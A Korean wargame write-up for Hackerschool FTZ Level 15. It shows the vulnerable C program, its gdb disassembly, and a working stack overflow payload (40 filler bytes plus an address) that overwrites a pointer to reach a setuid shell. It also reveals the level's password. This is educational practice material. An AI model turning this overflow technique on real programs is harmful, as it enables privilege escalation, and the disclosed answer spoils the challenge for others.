0. 들어가기 전에
BOF문제인데, int *check 포인터가 0xdeadbeef를 가리킨다면 쉘 코드를 실행시켜주는 식이다. 소스코드를 보면서 시작하자.
1. Level 15
#include <stdio.h>
main(){
int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{ setreuid(3096,3096);
system("/bin/sh");
}
}
대충 요런식이다. gdb를 이용해서 disassemble 해보자.
0x080483b8 <main+0>: push ebp
0x080483b9 <main+1>: mov ebp,esp
0x080483bb <main+3>: sub esp,0x38
0x080483be <main+6>: and esp,0xfffffff0
0x080483c1 <main+9>: mov eax,0x0
0x080483c6 <main+14>: sub esp,eax
0x080483c8 <main+16>: sub esp,0x4
0x080483cb <main+19>: push ds:0x80495d4
0x080483d1 <main+25>: push 0x2d
0x080483d3 <main+27>: lea eax,[ebp-56]
0x080483d6 <main+30>: push eax
0x080483d7 <main+31>: call 0x80482d8 <fgets>
0x080483dc <main+36>: add esp,0x10
0x080483df <main+39>: mov eax,DWORD PTR [ebp-16] // 16 -12 pointer
0x080483e2 <main+42>: cmp DWORD PTR [eax],0xdeadbeef
0x080483e8 <main+48>: jne 0x804840f <main+87>
0x080483ea <main+50>: sub esp,0x8
0x080483ed <main+53>: push 0xc18
0x080483f2 <main+58>: push 0xc18
0x080483f7 <main+63>: call 0x80482f8 <setreuid>
0x080483fc <main+68>: add esp,0x10
0x080483ff <main+71>: sub esp,0xc
ebp-56 위치에 buf 배열이 마무리되고, ebp-16지점에
단, 우리는 deadbeef의 메모리 주소값을 알아내어야 한다. 이를 위해선 gdb에서 x/20x를 해보면 된다. 노가다를 뛰면서 일일히 값을 입력하다보면 딱 0xdeadbeef가 나오는 주소를 발견하는데,
0x80484b2
라는걸 확인할 수 있다. 그럼 단순히 저 값을 bof 공격을 통해 check 포인터에 넣어주면 된다.
(python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme
단순하다고 할 수 있는 문제였던 것 같다.
비밀번호 : about to cause mass
Source
- 해커스쿨 FTZ
- Me!